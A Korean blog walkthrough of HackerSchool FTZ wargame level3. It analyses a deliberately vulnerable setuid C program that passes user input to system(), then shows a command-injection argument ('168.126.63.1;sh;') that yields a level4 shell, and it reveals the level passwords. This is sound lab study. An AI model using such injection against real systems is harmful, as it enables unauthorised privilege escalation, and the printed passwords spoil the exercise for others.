[ftz] hackerschool level3 풀이

l hackerschool level3 풀이

실행 환경 : VMware Workstation 14 Player, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


login as: level3
level3@192.168.146.128's password:

 

 

level3 문제의 아이디인  level3 와 password인   can you fly? 를 입력하여 level3의 유저로 접속합니다.

 

 

[level3@ftz level3]$ ls -l
total 12
-rw-r--r--    1 root     root          543 Nov 26  2000 hint
drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level3 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include  <stdlib.h>
#include  <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

[level3@ftz level3]$ find / -user level4 -perm +4000 2>/dev/null
/bin/autodig

 

 

앞의 문제 풀이를 할 때와 마찬가지로 level4 권한의 setuid가 결려있는 파일을 찾았습니다.

 

 

[level3@ftz level3]$ ls -l /bin/autodig
-rwsr-x---    1 level4   level3      12194 Sep 10  2011 /bin/autodig

 

 

실행파일을 확인해보면 setuid가 설정되어 있는 것을 볼 수 있고, 따라서 level3 사용자가 level4 사용자의 권한으로 파일을 실행시킬 수 있습니다.

 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h> 
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){ 
 
    char cmd[100]; 
 
    if( argc!=2 ){ 
        printf"Auto Digger Version 0.9\n" ); 
        printf"Usage : %s host\n", argv[0] ); 
        exit(0); 
    } 
 
    strcpy( cmd, "dig @" ); 
    strcat( cmd, argv[1] ); 
    strcat( cmd, " version.bind chaos txt"); 
 
    system( cmd ); 
 
cs

 

코드를 분석해보도록 하겠습니다.

1 ~ 3줄 : 코드를 짜기 위해 필요한 헤더파일을 선언합니다. unistd.h는 유닉스 계열에서 사용하는 c언어 헤더 파일입니다.

7줄 : char 타입의 100byte cmd 배열을 선언합니다.

9 ~ 13줄 : 프로그램을 실행시키면서 전달해주는 인자의 개수가 2개가 아닐 경우 if문 안의 내용을 실행합니다.

15줄 : cmd배열에 dig @ 문자열을 복사합니다.

16줄 : cmd배열의 마지막 문자 뒤에 argv[1]의 내용을 덧붙입니다. 즉 15줄에 의해 cmd배열에는 "dig @"가 들어가 있고, @뒤에 argv[1]의 내용을 덧붙이는 것입니다.

17줄 : 16번째 줄과 마찬가지고 cmd의 마지막 문자 뒤에 " version.bind chaos txt"를 덧붙입니다.

18줄 : cmd의 내용을 실행합니다. system() 합수는 stdlib.h 헤더 파일에 있습니다.

 

결국 위의 명령어는 dig @뒤에 argv[1]의 내용을 덧붙이고, 그 뒤에 version.bind chaos txt를 덧붙여서 BIND 버전을 알아보는 것입니다. 

 

그렇다면  /bin/autodig 168.126.63.1 을 입력했을 때의 결과와  dig @168.126.63.1 version.bind chaos txt 를 입력했을 때의 결과가 같은 결과가 나올 것입니다.

 

 

 

l argv와 argc

더보기

argc : 프로그램을 실행할 때 인자로 전달된 문자열 길이를 의미합니다. 

예를 들어, ./autodig hello를 main함수의 인자로 넘겨준다면 argc의 경우 2가 됩니다. 처음 실행파일의 이름과 뒤에 같이 넘겨준 hello. 이렇게 두 개이기 때문입니다. ./autodig hello hi일 경우 argc는 3이 됩니다.

 

argv : 인자로 전달된 문자열을 의미합니다.

./autodig hello hi를 인자로 전달했다면 argv[0]은 autodig, argv[1]은 hello argv[2]는 hi가 되는 것입니다.

 

l dig

더보기

dig 프로그램은 윈도우의 nslookup과 비슷한 프로그램입니다.

즉, 도메인을 입력할 경우 해당 도메인의 IP주소를 알 수 있습니다.  dig @쿼리 할 DNS 서버의 IP주소 도메인 순서로 입력하면 아래와 같이 해당 도메인의 IP주소를 확인할 수 있습니다. 

 

 

[level3@ftz level3]$ dig @168.126.63.1 www.naver.com

; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59058
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3

;; QUESTION SECTION:
;www.naver.com.                 IN      A

;; ANSWER SECTION:
www.naver.com.          6382    IN      CNAME   www.naver.com.nheos.com.
www.naver.com.nheos.com. 99     IN      A       210.89.160.88
www.naver.com.nheos.com. 99     IN      A       210.89.164.90

;; AUTHORITY SECTION:
nheos.com.              367     IN      NS      gns1.nheos.com.
nheos.com.              367     IN      NS      gns3.nheos.com.
nheos.com.              367     IN      NS      gns2.nheos.com.

;; ADDITIONAL SECTION:
gns1.nheos.com.         18192   IN      A       103.6.174.86
gns2.nheos.com.         281     IN      A       210.89.165.22
gns3.nheos.com.         10443   IN      A       125.209.246.230

;; Query time: 43 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Mon Sep 23 21:06:33 2019
;; MSG SIZE  rcvd: 202

 

 

 

[level3@ftz level3]$ dig @168.126.63.1 version.bind chaos txt

; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21737
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "Cyber World Leader Kornet!"

;; AUTHORITY SECTION:
version.bind.           0       CH      NS      version.bind.

;; Query time: 9 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Tue Sep 24 01:57:40 2019
;; MSG SIZE  rcvd: 83

 

[level3@ftz level3]$ /bin/autodig 168.126.63.1

; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46555
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "Cyber World Leader Kornet!"

;; AUTHORITY SECTION:
version.bind.           0       CH      NS      version.bind.

;; Query time: 50 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Tue Sep 24 01:50:19 2019
;; MSG SIZE  rcvd: 83

 

예상한 것과 같이 같은 결과를 확인할 수 있습니다.

 

이제 힌트를 사용하여 문제를 해결해보도록 하겠습니다. 

 

1. 동시에 여러 명령어를 전달하려면? 유닉스 계열의 경우  세미콜론(;)  을 이용하게 되면 한 줄에 여러 번의 명령어를 실행할 수 있습니다. 즉 whoami;whoami 이렇게 명령할 경우 whoami의 결과가 두 번 출력되게 됩니다.

2. 문자열 형태로 명령어를 전달하려면? 문자열 형태로 전달하기 위해서는 인자 값을 " " 안에 넣어주면 됩니다.  

 

 

[level3@ftz level3]$ /bin/autodig "168.126.63.1 www.naver.com;whoami;"

; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19676
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3

;; QUESTION SECTION:
;www.naver.com.                 IN      A

;; ANSWER SECTION:
www.naver.com.          9775    IN      CNAME   www.naver.com.nheos.com.
www.naver.com.nheos.com. 45     IN      A       125.209.222.141
www.naver.com.nheos.com. 45     IN      A       125.209.222.142

;; AUTHORITY SECTION:
nheos.com.              555     IN      NS      gns3.nheos.com.
nheos.com.              555     IN      NS      gns2.nheos.com.
nheos.com.              555     IN      NS      gns1.nheos.com.

;; ADDITIONAL SECTION:
gns1.nheos.com.         15504   IN      A       103.6.174.86
gns2.nheos.com.         20556   IN      A       210.89.165.22
gns3.nheos.com.         13834   IN      A       125.209.246.230

;; Query time: 9 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Tue Sep 24 02:10:03 2019
;; MSG SIZE  rcvd: 202

level4
sh: line 1: version.bind: command not found

 

 

위의 결과를 봤을 때 명령어의 실행순서가 아래와 같다는 것을 알 수 있습니다.

1. /bin/autodig 168.126.63.1 www.naver.com

2. whoami

3. version.bind chaos txt

 

 

[level3@ftz level3]$ /bin/autodig "168.126.63.1;sh;"

생략...

sh-2.05b$ 

 

실행순서와 힌트를 참고하여 명령어를 구성했고, 그 결과 쉘 획득을 할 수 있었습니다. my-pass를 입력하게 될 시 level4로 넘어가는 비밀번호를 알 수 있습니다.

 

 

l level4 비밀번호

더보기

Level4 Password is "suck my brain".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level6 풀이  (0) 2019.11.04
[ftz] hackerschool level5 풀이  (0) 2019.10.05
[ftz] hackerschool level4 풀이  (0) 2019.10.03
[ftz] hackerschool level2 풀이  (0) 2019.09.27
[ftz] hackerschool level1 풀이  (0) 2019.09.25

이 글을 공유하기

댓글

Designed by JB FACTORY